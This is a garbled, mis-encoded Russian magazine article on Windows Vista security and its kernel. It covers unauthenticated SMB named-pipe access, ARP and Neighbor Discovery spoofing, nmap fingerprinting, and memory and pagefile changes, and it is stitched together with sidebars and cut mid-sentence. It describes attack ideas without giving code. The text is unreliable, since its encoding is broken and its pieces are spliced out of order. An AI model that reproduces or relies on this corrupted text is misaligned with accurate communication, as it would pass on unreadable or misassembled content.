Ïðîòîêîë SMB, îáåñïå÷èâàþùèé ñîâìåñò-
íûé äîñòóï ê ôàéëàì è ïðèíòåðàì, òàê æå ïîë-
íîñòüþ ïåðåïèñàí è ïðåäñòàâëåí â íîâîé âåðñèè
êàê SMB2, îðèåíòèðîâàííûé íà ïåðåäà÷ó áîëüøèõ
ôàéëîâ äàííûõ è êàê áóäòî áû îáåñïå÷èâàþùèé
ëó÷øóþ ïðîèçâîäèòåëüíîñòü, îäíàêî ðåàëèçîâàí-
íûé äàëåêî íå ñàìûì ëó÷øèì îáðàçîì. Â ÷àñòíîñ-
òè, çàñûëêà ìóñîðà â ïîðò 445 îáðóøèâàëà áåòó
build 5270 â ãîëóáîé ýêðàí ñìåðòè, è ýòîò êîñÿê
áûë èñïðàâëåí òîëüêî â ñëåäóþùåé âåðñèè.

Ìåõàíèçìû àóòåíòèôèêàöèè, âûçûâàþùèå
ìíîæåñòâî íàðåêàíèé åùå ñî âðåìåí 9x, ïîõîæå,
íå ïðåòåðïåëè íèêàêèõ ðàäèêàëüíûõ èçìåíåíèé,
îòêàòèâøèñü íàçàä â ìðà÷íóþ ãîòè÷åñêóþ òüìó
ñðåäíåâåêîâüÿ, êîãäà íåñòàíäàðòíûå êëèåíòû òèïà
SAMBA ïðåäîñòàâëÿëè äîñòóï êî ìíîãèì çàùè-
ùåííûì ðåñóðñàì, íå òðåáóÿ àâòîðèçàöèè. Ïîì-
íèòñÿ, ðåàêöèÿ Microsoft áûëà òàêîâà: «SAMBA —
ýòî íåïðàâèëüíûé êëèåíò, ïîëüçóéòåñü øòàòíûìè
ñðåäñòâàìè Windows, è ó âàñ íå áóäåò íèêàêèõ
ïðîáëåì». Ïîõîæå, ïàðíè èç Ðåéäìîíäà íå ïîíè-
ìàþò, ÷åì êëèåíò îòëè÷àåòñÿ îò ñåðâåðà, è äî ñèõ
ïîð íå âúåçæàþò â òåìó. À ìîæåò, ïðîñòî òðàâà òà-
êàÿ ïîïàëàñü. Òåðìîÿäåðíàÿ. Óæ âñÿêî, — íå ìåñò-
íàÿ ïîäçàáîðíàÿ. Èíà÷å ÷åì ìîæíî îáúÿñíèòü òîò
ôàêò, ÷òî ïðîòîêîë SMB äåðæèò äëÿ ñâîèõ âíóò-
ðåííèõ öåëåé èìåíîâàííûé êàíàë (ïî-àíãëèéñêè —
pipe) «IPC$», ÷åðåç êîòîðûé ìîæíî ïîäêëþ÷àòüñÿ
ê ðåñóðñàì netlogon, lsarpc è samr ÁÅÇ àóòåíòèôè-
êàöèè! Â SMB2 ýòîò ñïèñîê ïîïîëíèëñÿ êàíàëàìè
«protected_storage» è «lsass», ÷òî ëåãêî ïðîâåðèòü
ñ ïîìîùüþ ñêðèïòà trypipes.py, âõîäÿùåãî â ñîñòàâ
çíàìåíèòîãî õàêåðñêîãî íàáîðà dcerpc (ëèñòèíã2).

Ìåõàíèçì èìåíîâàííûõ êàíàëîâ òåñíî ñâÿçàí
ñî ñòîëü ãîðÿ÷î ëþáèìûì â Microsoft ìåõàíèçìîì
óäàëåííîãî âûçîâà ïðîöåäóð Remote Procedure Call
èëè, ñîêðàùåííî, RPC, ÷åðåç êîòîðûé ðàñïðîñòðà-
íÿëñÿ MSBlast è äðóãèå ÷åðâè ïîäîáíîãî òèïà.
Â Âèñòå äî ñèõ ïîð ñîõðàíèëàñü âîçìîæíîñòü îïðå-
äåëÿòü ñïèñîê äîñòóïíûõ èíòåðôåéñîâ è âûçûâàòü
íåêîòîðûå èç íèõ (ServerAlive2, OXIDResolver, etc), è
âñå ýòî — áåçî âñÿêîé àâòîðèçàöèè!

ãëîáàëèçàöèÿ AARP. Â ëîêàëüíûõ Ethernet-ñå-
òÿõ íà ôèçè÷åñêîì óðîâíå èñïîëüçóåòñÿ MAC-àäðå-
ñàöèÿ, ïîâåðõ êîòîðîé íàòÿãèâàåòñÿ TCP/IP, èñïîëü-
çóþùèé IP-àäðåñàöèþ. Â ðåçóëüòàòå ÷åãî, êàæäûé
óçåë èìååò êàê ìèíèìóì îäèí MAC-àäðåñ è îäèí IP-
àäðåñ, êîòîðûå íèêàê íå ñâÿçàíû ñ äðóã äðóãîì, è
÷òîáû îòïðàâëåííûé ïàêåò äîøåë äî ìåñòà íàçíà-
÷åíèÿ, ìàðøòóòèçàòîðó íåîáõîäèìî èìåòü òàáëèöó
ñîîòâåòñòâèÿ IP- è MAC-àäðåñîâ, êîòîðàÿ äèíàìè-
÷åñêè ñîçäàåòñÿ ïðè ïîìîùè ïðîòîêîëà ARP. Ãðóáî
ãîâîðÿ, â ñåòü ïîñûëàåòñÿ øèðîêîâåùàòåëüíûé
çàïðîñ: «Îáëàäàòåëü òàêîãî-òî IP, ñîîáùèòå ñâîåé
MAC-àäðåñ!». Íèêàêîé àóòåíòèôèêàöèè ïðè ýòîì íå
ïðîèçâîäèòñÿ, è ïðèñâîèòü ñåáå ÷óæîé IP — ïëåâîå
äåëî. Àòàêè òàêîãî òèïà äàâíî èçó÷åíû è ïîäðîáíî
îïèñàíû. Õàêåð ìîæåò: ðàçðûâàòü TCP/IP-ñîåäèíå-
íèÿ, óñòàíîâëåííûå æåðòâîé, ïåðåõâàòûâàòü òðà-
ôèê, âûäàâàòü ñåáÿ çà äðóãîé óçåë è ïðî÷åå. Íî âñå
ýòî — ñòðîãî â ðàìêàõ ëîêàëüíîé ñåòè, ïðè÷åì ïðå-
äûäóùèå âåðñèè Windows, îáíàðóæèâ, ÷òî õàêåð
çàõâàòèë èõ IP-àäðåñ, âûïëåâûâàëè íà ýêðàí ïðå-
äóïðåæäåíèå. Âèñòà æå ïðîñòî îòìå÷àåò ýòîò ôàêò
â ñèñòåìíîì æóðíàëå è… ïðåêðàùàåò ðåàãèðîâàòü
íà ñåòåâûå çàïðîñû.

Íî âíóòðèñåòåâûå àòàêè — ýòî åùå êóäà íè
øëî. Ñóùåñòâóåò ìàññà ñïîñîáîâ âû÷èñëèòü çëîó-
ìûøëåííèêà, ïîäíÿâ ïî òðåâîãå áðèãàäó êàðàòèñ-
òîâ áûñòðîãî ðåàãèðîâàíèÿ, äîõîä÷èâî îáúÿñíÿþ-
ùèõ íåçàäà÷ëèâîìó õàêåðó, ÷òî ëó÷øå óéòè ïî-õî-
ðîøåìó, ÷åì âñþ æèçíü ðàáîòàòü íà áîëüíèöó. Çà-
áîòÿñü î ïîëüçîâàòåëÿõ, òüôó, î õàêåðàõ, Microsoft
äîáàâèëà íîâûé ïðîòîêîë äëÿ ðàçðåøåíèÿ àäðå-
ñîâ — Neighbor Discovery èëè ñîêðàùåííî ND, äîñ-
òóïíûé èçâíå ëîêàëüíîé ñåòè. È õîòÿ ðåàëèçàöèÿ
óäàëåííîé àòàêè ñîïðÿæåíà ñ ðÿäîì òðóäíîñòåé,
îíà âñå-òàêè îñóùåñòâèìà! Ñèñòåìà óÿçâèìà òîëüêî
âî âðåìÿ òàê íàçûâàåìîé probe-ôàçû, â òå÷åíèå êî-
òîðîé ïðîèñõîäèò îæèäàíèå îòêëèêà îò «ñîñåäíèõ»

(neighbor) óçëîâ. Âñå îñòàëüíîå âðåìÿ ïîääåëüíûå
ïàêåòû, ïîñëàííûå çëîóìûøëåííèêîì, èãíîðèðóþò-
ñÿ. Îäíàêî, ó÷èòûâàÿ çíà÷èòåëüíóþ ïðîäîëæèòåëü-
íîñòü probe-ôàçû, à òàê æå åå âûñîêóþ ïåðèîäè÷-
íîñòü, õàêåðó äàæå íå ïîíàäîáèòñÿ çàïàñàòüñÿ òåð-
ïåíèåì! Íó, ðàçâå çà ïèâîì ñãîíÿòü, ïîêà åãî êîìïü-
þòåð ìåòîäè÷íî áîìáàðäèðóåò æåðòâó çàïðîñàìè.

Òðóäíîñòü íîìåð äâà: ND-ïàêåò ñîäåðæèò
ñïåöèàëüíûé ñ÷åò÷èê, íà÷àëüíîå çíà÷åíèå êîòîðî-
ãî ðàâíî 255, è ïðè ïåðåñûëêå ÷åðåç êàæäûé óçåë
îíî óìåíüøàåòñÿ íà åäèíèöó, òàêèì îáðàçîì, àòà-
êóþùèé äîëæåí íàõîäèòüñÿ äîñòàòî÷íî áëèçêî îò
æåðòâû. «Áëèçêî», åñòåñòâåííî, íå â ãåîãðàôè÷åñ-
êîì ñìûñëå. Àòàêîâàòü àìåðèêàíñêèå êîìïüþòåðû
èç ðîññèéñêîé ãëóáèíêè âïîëíå ðåàëüíî. À òàì ïîï-
ðîáóé íàéòè Âàñþ Ïóïêèíà èç äåðåâíè Íüþ Âàñþêè!

èäåíòèôèêàöèÿ ññåòåâîãî ññòåêà ââèñòû. Ñåòå-
âîé ñòåê âñÿêîé îïåðàöèîííîé ñèñòåìû èìååò ñâîè
îñîáåííîñòè ðåàëèçàöèè (îíè æå «fingerprint» —
îòïå÷àòêè ïàëüöåâ), ïîçâîëÿþùèå èäåíòèôèöèðî-
âàòü æåðòâó, ÷òî çíà÷èòåëüíî óïðîùàåò àòàêó, ïîñ-
êîëüêó õàêåð çàðàíåå çíàåò, êàêèå äûðû òàì åñòü
è êàêèå äåéñòâèÿ ïðåäïðèíèìàòü.

Ñíÿòü îòïå÷àòêè ïàëüöåâ (òàêæå íàçûâàåìûå
«ñèãíàòóðîé») ñ óäàëåííîãî óçëà ìîæíî õîòÿ áû
ñ ïîìîùüþ çíàìåíèòîé óòèëèòû nmap. Â ÷àñòíîñòè,
äëÿ Server Longhorn îíè âûãëÿäÿò òàê (ëèñòèíã4). 
À âîò ñèãíàòóðà Server 2003 (ëèñòèíã5).

Êàê ãîâîðèòñÿ — ïî÷óâñòâóéòå ðàçíèöó! Åùå
ìîæíî ïîñëàòü TCP-ïàêåò ñ ïåðåêðûâàþùèìèñÿ
ôðàãìåíòàìè è ïîñìîòðåòü íà ðåçóëüòàò åãî ñáîðêè.

çàêëþ÷åíèå. Ïåðåõîä íà Âèñòó íåñîìíåííî
ñóëèò áîëüøèå ïåðñïåêòèâû. Äëÿ õàêåðîâ. À òàê-
æå — äëÿ âñåõ ñòîðîííèõ ðàçðàáîò÷èêîâ, ïðåäëà-
ãàþùèõ çàùèòíûå êîìïëåêñû ðàçíîé ñòåïåíè
ñëîæíîñòè è... ñòîèìîñòè. Â ïðîèãðûøå îñòàþòñÿ
òîëüêî äîìàøíèå ïîëüçîâàòåëè è àäìèíèñòðàòî-
ðû, âïðî÷åì, àäìèíèñòðàòîðû áóäóò ñîïðîòèâëÿòü-
ñÿ ïåðåõîäó íà Âèñòó èçî âñåõ ñèë è, áûòü ìîæåò,
ìàññîâîãî ïåðåõîäà òàê è íå ïðîèçîéäåò

www.symantec.com/avcenter/reference/
ATR-VVistaAttackSurface.pdf
ïîäðîáíûé àíàëèç îñîáåííîñòåé íîâîãî ñåòåâîãî
ñòåêà â ñòàòüå.
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Teredo Prefix
Teredo Server
IPv4 Address

Flags
Obscured

External Port
Obscured

External Address

32 bits 32 bits 16 bits 16 bits 32 bits

Ñòðóêòóðà çàãîëîâêà Teredo-ïàêåòà ñ «çàøèôðîâàííûì» (obscured) èñòèííûì
öåëåâûì ïîðòîì è àäðåñîì

ÂÅÐÑÈÈ ÂÈÑÒÛ

Îïåðàöèîííàÿ ñèñòåìà Windows NT 6.0
ñóùåñòâóåò â äâóõ âåðñèÿõ, èçâåñòíûõ
ïîä òîðãîâûìè ìàðêàìè Windows Vista è
Windows Server Longhorn, êàæäàÿ èç êî-
òîðûõ ïðåäñòàâëåíà â äâóõ ðåäàêöèÿõ —
ïîä 32-áèòíóþ (x86) è 64-áèòíóþ (x86-64)
ïëàòôîðìû. Åñëè ðàçíèöà ìåæäó ñåðâå-
ðîì è ðàáî÷åé ñòàíöèåé î÷åâèäíà è íå
òðåáóåò äîïîëíèòåëüíûõ êîììåíòàðèåâ,
òî ïðåèìóùåñòâà è íåäîñòàòêè 64-áèòíîé
ðåäàêöèè çàñëóæèâàþò ðàçâåðíóòîãî
îáúÿñíåíèÿ.

Ìèëëèîíû ïðîãðàìì è ìåãàòîííû
îáîðóäîâàíèÿ, ðàáîòàþùèå íà x86 âåðñèè
NT, íå ïîçâîëèëè Microsoft'ó îñíîâàòåëüíî
ïåðåòðÿõíóòü ÿäðî áåç ïîòåðè îáðàòíîé
ñîâìåñòèìîñòè. È õîòÿ ñîâìåñòèìîñòü âñå-
òàêè ïîñòðàäàëà (ñïèñîê íåñîâìåñòèìûõ
ïðîãðàìì ìîæíî íàéòè íà www.iexbe-
ta.com/wiki/index.php/Windows_Vista_Be-
ta_2_Software_Compatibility_List), íî âñå æå
íå ñòîëü ðàäèêàëüíî, êàê â 64-áèòíîé âåð-
ñèè, ñïðîåêòèðîâàííîé ñ ÷èñòîãî ëèñòà, áåç
îãëÿäêè íà ñîâìåñòèìîñòü, ïîñêîëüêó íè
îáîðóäîâàíèÿ, íè ïðîãðàììíîãî îáåñïå÷å-
íèÿ ïîä íåå åùå íå ñóùåñòâîâàëî.

Âîñïîëüçîâàâøèñü «ïîäàðêîì» îò
AMD, Microsoft ïåðåíåñëà NT íà ïëàòôîðìó
x86-64, ïðåâðàòèâ ñèñòåìó â íàñòîÿùóþ òþ-
ðüìó (õîòÿ ðåêëàìà óâåðÿåò íàñ, ÷òî ýòî —
êðåïîñòü). Èìåííî â 64-áèòíîé ðåäàêöèè NT
ðåàëèçîâàíà çàùèòà ÿäåðíûõ ôóíêöèé îò
ïåðåõâàòà (áåç êîòîðûõ íåìûñëèìî ñîçäà-
íèå êà÷åñòâåííûõ àíòèâèðóñîâ, áðàíäìàó-
ýðîâ è ïðî÷èõ ïðîãðàìì ïîäîáíîãî òèïà),
èìåííî çäåñü öèôðîâàÿ ïîäïèñü äðàéâåðîâ
ÿâëÿåòñÿ îáÿçàòåëüíîé, à ïðèêëàäíîãî ïðî-
ãðàììíîãî îáåñïå÷åíèÿ — æåëàòåëüíîé.

Âñå ýòî ñäåëàíî ðàäè äâóõ öåëåé: ìî-
íîïîëèçàöèè ðûíêà ñèñòåìíîãî ïðîãðàììè-

ðîâàíèÿ â ðóêàõ Microsoft è ïîçèöèîíèðîâà-
íèÿ ñâîåé ñèñòåìû êàê çàùèùåííîé îò ãðà-
áåæà premium content'à, ÷òî î÷åíü íðàâèòñÿ
Ãîëëèâóäó è äðóãèì ìåäèà-ìàãíàòàì. Áîðü-
áà ñ ìàëâàðüþ — âñåãî ëèøü ïðèêðûòèå!

Îñòàåòñÿ íàäåÿòüñÿ, ÷òî ðûíî÷íàÿ äî-
ëÿ x86-64 íèêîãäà íå îêàæåòñÿ íàñòîëüêî
çíà÷èòåëüíîé, ÷òîáû Microsoft ñìîãëà ïîõî-
ðîíèòü 32-âåðñèþ Windows, ëèøèâ íàñ âîç-
ìîæíîñòè âûáîðà, à âûáèðàòü ñëåäóåò èìåí-
íî x86, òåì áîëåå ÷òî Intel âûïóñòèëà óäà÷-
íóþ ëèíåéêó äâóÿäåðíûõ ïðîöåññîðîâ Penti-
um 4D (âïðî÷åì, íà ïîêëîííèêîâ ïðîäóêöèè
AMD ýòîò ïðèçûâ íå ðàñïðîñòðàíÿåòñÿ).

ÂÎÑÏÎËÜÇÎÂÀÂØÈÑÜ «ÏÎÄÀÐÊÎÌ» ÎÒ AMD, MIROSOFT ÏÅÐÅÍÅÑËÀ NT
ÍÀ ÏËÀÒÔÎÐÌÓ X86-64,ÏÐÅÂÐÀÒÈÂ ÑÈÑÒÅÌÓ Â ÍÀÑÒÎßÙÓÞ ÒÞÐÜÌÓ 
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ïî÷åìó ÿÿäðî. ßäðî íàäåæíî ñêðûòî îò ïîëü-
çîâàòåëÿ ìíîæåñòâîì ñëîåâ àáñòðàêöèè, íî èìåí-
íî îíî (à âîâñå íå «ïðåëåñòè» èíòåðôåéñà) â íàè-
áîëüøåé ñòåïåíè îòâåòñòâåííî çà «õàðàêòåð» îïå-
ðàöèîííîé ñèñòåìû. Èìåííî ÿäðî óïðàâëÿåò ïà-
ìÿòüþ, ïðîöåññîðàìè, ââîäîì/âûâîäîì, ðàçãðàíè-
÷èâàåò äîñòóï ê îáúåêòàì è äåëàåò ìàññó äðóãèõ
ïîëåçíûõ (è íå î÷åíü) âåùåé, ýôôåêòèâíîñòü êîòî-
ðûõ îïðåäåëÿåò íàäåæíîñòü, çàùèùåííîñòü è ïðî-
èçâîäèòåëüíîñòü âñåé ñèñòåìû â öåëîì. Íà ïëîõîì
ôóíäàìåíòå õîðîøåãî ñîîðóæåíèÿ íå ïîñòðî-
èøü… Íî åñëè êà÷åñòâî ñîîðóæåíèÿ ëåãêî îöåíèòü
íåâîîðóæåííûì ãëàçîì, òî äåôåêòû ôóíäàìåíòà
äàþò î ñåáå çíàòü â ñàìûé íåïîäõîäÿùèé ìîìåíò.

Microsoft â êó÷å ïðåçåíòàöèé è òåõíè÷åñêèõ
äîêóìåíòîâ äîâîëüíî ïîäðîáíî îïèñûâàåò îòëè-
÷èÿ ÿäðà Âèñòû îò åå ïðåäøåñòâåííèö, îäíàêî
óõîäèò îò îòâåòà íà âîïðîñ — íàñêîëüêî âñå ýòî
íóæíî è ïîëåçíî êîíêðåòíîìó ïîëüçîâàòåëþ. Íè-
÷åãî äðóãîãî íå îñòàåòñÿ, êàê âî âñåì ýòîì ðàçáè-
ðàòüñÿ ñàìîñòîÿòåëüíî...

ïðîèçâîäèòåëüíîñòü. ßäðî Âèñòû ñóùåñòâåí-
íî «îïòèìèçèðîâàíî» (î ÷åì ñâèäåòåëüñòâóþò
ìíîãî÷èñëåííûå òåñòû, ïðåäîñòàâëåííûå êàê ñà-
ìîé Microsoft, òàê è íåçàâèñèìûìè èññëåäîâàòåëÿ-
ìè), íî äàëåêî íå âñå èçìåíåíèÿ ïîëåçíû äëÿ ðà-
áî÷èõ ñòàíöèé è íà îäíîïðîöåññîðíûõ ìàøèíàõ
ñ ìàëûì êîëè÷åñòâîì îïåðàòèâíîé ïàìÿòè. Ïîðîé
îíè (èçìåíåíèÿ), íàîáîðîò, âûçûâàþò äîïîëíè-
òåëüíûå òîðìîçà, çíà÷èòåëüíî ïðîèãðûâàÿ w2k
è XP â ïðîèçâîäèòåëüíîñòè, ÷òî äåëàåò ñèòóàöèþ
íåîäíîçíà÷íîé.

Ïîñëåäîâàòåëüíî ðàññìàòðèâàÿ îñíîâíûå
êîìïîíåíòû Windows, ïîïðîáóåì îöåíèòü âëèÿíèå
èçìåíåíèé êàæäîãî èç íèõ íà îáùóþ ïðîèçâîäè-
òåëüíîñòü.

ìåíåäæåð ïïàìÿòè. Ïåðå÷åíü èçìåíåíèé, çàò-
ðàãèâàþùèõ ìåíåäæåð ïàìÿòè (memory manager),
ìîæíî íàéòè â ìóëüòèìåäèéíîé ïðåçåíòàöèè
http://go.microsoft.com/fwlink/?LinkId=67468 è äîêóìåí-
òå download.microsoft.com/download/9/c/5/9c5b2167-8017-
4bae-9fde-d599bac8184a/kernel-en.doc.

Â ïåðâóþ î÷åðåäü, ñëåäóåò îòìåòèòü (òî åñòü
îòìåñòè) óëó÷øåííóþ ïîääåðæêó NUMA-ïàìÿòè,
âïåðâûå ïîÿâèâøóþñÿ â Server 2003 SP1 è îòñóò-
ñòâóþùóþ â XP. Íàïðî÷ü. È âîâñå íå èç æàäíîñòè
(èëè ñëîæíîñòè ðåàëèçàöèè), à çà ïîëíîé íåíà-

äîáíîñòüþ. Àááðåâèàòóðà NUMA ðàñøèôðîâûâà-
åòñÿ êàê Non-Uniform Memory Architecture (àðõèòåê-
òóðà ñ íåîäíîðîäíîé ïàìÿòüþ) è îõâàòûâàåò êàê
ìíîãîïðîöåññîðíûå ìàøèíû, òàê è öåëûå êëàñòå-
ðû. Ñèñòåìíûé ïëàíèðîâùèê XP ñòàâèò âñå ïîòî-
êè â î÷åðåäü è ãîíÿåò èõ ïî êðóãó, ïðè ýòîì â ðàç-
ëè÷íûå ìîìåíòû âðåìåíè êàæäûé ïîòîê âûïîëíÿ-
åòñÿ òî íà îäíîì, òî íà äðóãîì ïðîöåññîðå, ÷òî
ñíèæàåò ïðîèçâîäèòåëüíîñòü çà ñ÷åò íàêëàäíûõ
ðàñõîäîâ íà ïîääåðæêó êîãåðåíòíîñòè (ñîãëàñî-
âàííîñòè) âñåõ êýøåé.

Â Server 2003 SP1 ïîÿâèëîñü íåñêîëüêî íî-
âûõ API-ôóíêöèé: VirtualAllocExNuma…, Node),
MapViewOfFileExNuma(…, Node) è CreateFile-
MappingExNuma(…, Node), óêàçûâàþùèõ ñèñòåìå,
÷òî ïîòîê ïðåäïî÷òèòåëüíåå âñåãî çàïóñêàòü íà
òîì ïðîöåññîðå, íà êîòîðîì è ïðîèçîøëî âûäåëå-
íèå ïàìÿòè. Äâóÿäåðíûå è HT-ïðîöåññîðû, ðàçäå-
ëÿþùèå îáùèé êýø ìåæäó âñåìè ïîòîêàìè, ê ýòî-
ìó àáñîëþòíî íå÷óâñòâèòåëüíû, è âûèãðûø â ïðî-
èçâîäèòåëüíîñòè áóäåò çàìå÷åí òîëüêî íà äâóõ
ôèçè÷åñêèõ ïðîöåññîðàõ. È òî ïðè óñëîâèè, ÷òî
ïðèëîæåíèå èñïîëüçóåò íîâûå âûçîâû API, à òàêèå
ïðèëîæåíèÿ ïîÿâÿòñÿ íå ñêîðî. Òî æå ñàìîå îòíî-
ñèòñÿ è ê ïîääåðæêå ðàñøèðåíèÿ AWE, ïðåîäîëå-
âàþùåãî áàðüåð â 4 Ãá ôèçè÷åñêîé ïàìÿòè íà x86-
ñèñòåìàõ. Ýòî ÷èñòî ñåðâåðíàÿ øòó÷êà, è «áûòî-
âûå» ïðèëîæåíèÿ íå íóæäàþòñÿ â òàêèõ êîëè÷åñò-
âàõ îïåðàòèâíîé ïàìÿòè, âî âñÿêîì ñëó÷àå ïîêà.

Â ñâÿçè ñ ïîääåðæêîé áîëüøèõ îáúåìîâ ïà-
ìÿòè, Microsoft ðåàëèçîâàëà ìåõàíèçì äèíàìè÷åñ-
êîãî âûäåëåíèÿ àäðåñíîãî ïðîñòðàíñòâà (dynamic
system address space). Åñëè ðàíüøå êàòàëîã âèð-
òóàëüíûõ ñòðàíèö èíèöèàëèçèðîâàëñÿ íà ðàííèõ
ñòàäèÿõ çàãðóçêè ÎÑè, ðåçåðâèðóÿ 1,5 Ìáàéòà
íà x86-ñèñòåìàõ, 3 Ìáàéòà íà x86-ñèñòåìàõ ñ ïîä-
äåðæêîé PAE (Page Address Extension) è 2,5 Ãáàé-
òà íà x86-64 è IA64, òî ñåé÷àñ âûäåëåíèå ïàìÿòè
è ïîñòðîåíèå ñòðàíè÷íîãî êàòàëîãà ïðîèñõîäÿò ïî
ìåðå íåîáõîäèìîñòè (on-demand), ÷òî ñëåãêà óñ-
êîðÿåò çàãðóçêó, íî îùóòèìî çàìåäëÿåò ðàáîòó
ïðèëîæåíèé, «ïîæèðàþùèõ» ïàìÿòü. È åñëè
íà ñåðâåðàõ, ðàáîòàþùèõ íà 64-áèòíûõ ïðîöåññî-

ðàõ èëè ïðîöåññîðàõ ñ ïîääåðæêîé AWE, ýòîò øàã
åùå õîòü êàê-òî îïðàâäàí (äåéñòâèòåëüíî, ãëóïî
èíèöèàëèçèðîâàòü âñå àäðåñíîå ïðîñòðàíñòâî, íå
áóäó÷è óâåðåííûì, ïîíàäîáèòñÿ îíî èëè íåò), òî
ðàáî÷èå ñòàíöèè îäíîçíà÷íî îêàçûâàþòñÿ â ïðî-
èãðûøå.

Ïàðàëëåëüíîå «îáíóëåíèå» (zeroing) ñòðà-
íèö, ïîÿâèâøååñÿ â Server 2003 SP1, òàê æå îòíî-
ñèòñÿ ê êëàñòåðàì è íå äàåò íèêàêîãî âûèãðûøà
äàæå íà ìíîãîïðîöåññîðíûõ ñèñòåìàõ, ïîñêîëüêó
ôèçè÷åñêàÿ ïàìÿòü — îäíà. Èëè âñå-òàêè äàåò?!
Êàê ñêàçàòü… Ôèçè÷åñêàÿ ïàìÿòü ñòðàäàåò îãðîì-
íîé ëàòåíòíîñòüþ, è åñëè «îáíóëÿåìûå» ñòðàíèöû
îêàæóòñÿ ïðèíàäëåæàùèìè ðàçëè÷íûì DRAM-
áàíêàì, ïîëó÷èì ïðàêòè÷åñêè äâóêðàòíûé âûèã-
ðûø ïðîèçâîäèòåëüíîñòè. Íî çäåñü âñå äåëî ñëó-
÷àÿ.

Ïîääåðæêà íîâûõ òèïîâ ïðîåêöèé è, â ÷àñò-
íîñòè, ÷åðåäóþùèõñÿ âèðòóàëüíûõ àäðåñíûõ
äåñêðèïòîðîâ  Rotate Virtual Address Descriptors
(èëè ñîêðàùåííî VADs) ïîçâîëèò âèäåî-äðàéâå-
ðàì ïîëíåå èñïîëüçîâàòü âîçìîæíîñòè øèíû
AGP, áûñòðåå îòîáðàæàÿ âèäåîïàìÿòü íà àäðåñ-
íîå ïðîñòðàíñòâî ïðèêëàäíûõ ïðèëîæåíèé ñ âû-
áîðîì îäíîãî èç ñëåäóþùèõ òèïîâ ïðîåêöèé:
cached, non-cached, write-combined AGP èëè video-
RAM mappings. Ýòî, íåñîìíåííî, ïîðàäóåò ãåéìå-
ðîâ, íî íèêàê íå ñêàæåòñÿ íà ñóäüáå îñòàëüíûõ
ïîëüçîâàòåëåé.

ìåíåäæåð ôôàéëà ïïîäêà÷êè. Âèñòà ñóùåñò-
âåííî ïåðåñìîòðåëà àëãîðèòìû ðàáîòû ñ ôàéëîì
ïîäêà÷êè, çíà÷èòåëüíî ñîêðàòèâ íàêëàäíûå ðàñõî-
äû íà åãî ïîääåðæêó. Íî, èìåÿ 1 Ãáàéò ïàìÿòè
íà áîðòó, â XP ôàéë ïîäêà÷êè ìîæíî âîîáùå îòê-
ëþ÷èòü, ïîñêîëüêó èìåþùåéñÿ ôèçè÷åñêîé ïàìÿòè
äîñòàòî÷íî äàæå äëÿ âåñüìà «ïðîæîðëèâûõ» ïðè-
ëîæåíèé. Âèñòà — äðóãîå äåëî, î÷åíü ñèëüíî íàïî-
ìèíàþùåå àíåêäîò ïðî æåíó, îáåùàþùóþ ðåøèòü
ïðîáëåìû, êîòîðûå âîçíèêíóò â ñâÿçè ñ åå ïîÿâëå-
íèåì. Ïëàòôîðìà .NET ïîòðåáëÿåò ïàìÿòü â òàêèõ
êîëè÷åñòâàõ, ÷òî áåç ïîäêà÷êè óæå íèêàê íå îáîé-
òèñü, è, ÷òîáû ðàçðûâ â ïðîèçâîäèòåëüíîñòè ìåæ-
äó âèñòà è XP íå áûë ñòîëü äðàìàòè÷åñêèì, ðàçðà-

ÁÅÇÎÏÀÑÍÎÑÒÜ
VISTA KKERNEL
ßÄÐÎ ÂÈÑÒÛ ÏÐÅÒÅÐÏÅËÎ ÌÍÎÆÅÑÒÂÎ ÈÇÌÅÍÅÍÈÉ: ÓÑÈËÈËÀÑÜ (ÍÅ)ÁÅÇÎÏÀÑÍÎÑÒÜ,
ÄÎÁÀÂÈËÈÑÜ ÍÎÂÛÅ ÄÛÐÛ, ÎÏÒÈÌÈÇÀÖÈß ÄÎÑÒÈÃËÀ ÒÀÊÎÃÎ ÏÐÅÄÅËÀ,
×ÒÎ ÇÀÒÎÐÌÎÇÈËÀ ÄÀÆÅ ÄÂÓßÄÅÐÍÛÅ ÏÐÎÖÅÑÑÎÐÛ… ÂÎÎÐÓÆÈÂØÈÑÜ ØÀÃÀÞÙÈÌ
ÝÊÑÊÀÂÀÒÎÐÎÌ, ÐÀÑÊÎÐÛÂÛÐßÅÌ ßÄÐÎ È ÏÎÑÌÎÒÐÈÌ, ÊÀÊÈÅ ÐÅÀËÜÍÛÅ ÏÅÐÅÌÅÍÛ
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áîò÷èêàì ïðèøëîñü ïîéòè íà ìíîãî÷èñëåííûå
óõèùðåíèÿ, åäâà íå îòîðâàâ ñåáå õâîñò è íå ðàçîð-
âàâ çàäíèöó íàïîïîëàì. Íî äàëåêî íå âñå «óëó÷-
øåíèÿ» äàþò ïîëîæèòåëüíûé ðåçóëüòàò. Îïòèìè-
çàöèÿ — äåëî òîíêîå…

Íà÷íåì ñ òîãî, ÷òî ñòðàíèöû, ðàíåå îáúåäè-
íåííûå â ñâÿçàííûé ñïèñîê (linked list), òåïåðü ïî-
âåøåíû íà ñáàëàíñèðîâàííûå AVL-äåðåâüÿ, äàþ-
ùèå âûèãðûø òîëüêî ïðè ðàçìåðàõ ôàéëà ïîäêà÷-
êè â íåñêîëüêî äåñÿòêîâ ãèãàáàéò. À íà ôèã íàì
ñòîëüêî ïàìÿòè?! Äëÿ ñåðâåðîâ ýòî âïîëíå íîð-
ìàëüíî, íî ìû-òî ãîâîðèì â ïåðâóþ î÷åðåäü î ðà-
áî÷èõ ñòàíöèÿõ! Ñåðâåð ìîæíî è íà áàçå OpenBSD
ñëåïèòü, òàì ñ áåçîïàñíîñòüþ è ïðîèçâîäèòåëü-
íîñòüþ âñÿêî ïîëó÷øå áóäåò, ÷åì ó Âèñòà/Server
Longhorn.

À âîò ñîêðàùåíèå ôðàãìåíòàöèè ôàéëà ïîä-
êà÷êè (êàê âíåøíåé — íà äèñêå, òàê è âíóòðåí-
íåé — ñîñåäíèå âèðòóàëüíûå ñòðàíèöû âûãðóæà-
þòñÿ ðÿäîì) ìîæíî òîëüêî ïðèâåòñòâîâàòü. Îäíà-
êî ñðàçó æå âîçíèêàåò âîïðîñ — ïî÷åìó æå ýòîãî
íå ñäåëàëè ðàíüøå? Äà ïîòîìó, ÷òî óìåíüøåíèå
âíóòðåííåé ôðàãìåíòàöèè ñíèæàåò ýôôåêòèâ-
íîñòü èñïîëüçîâàíèÿ äèñêîâîãî ïðîñòðàíñòâà
è îïðàâäûâàåò ñåáÿ òîëüêî íà ïîäêà÷êàõ î÷åíü
áîëüøîãî ðàçìåðà. Âñå î÷åíü ïðîñòî! Âûãðóæàÿ
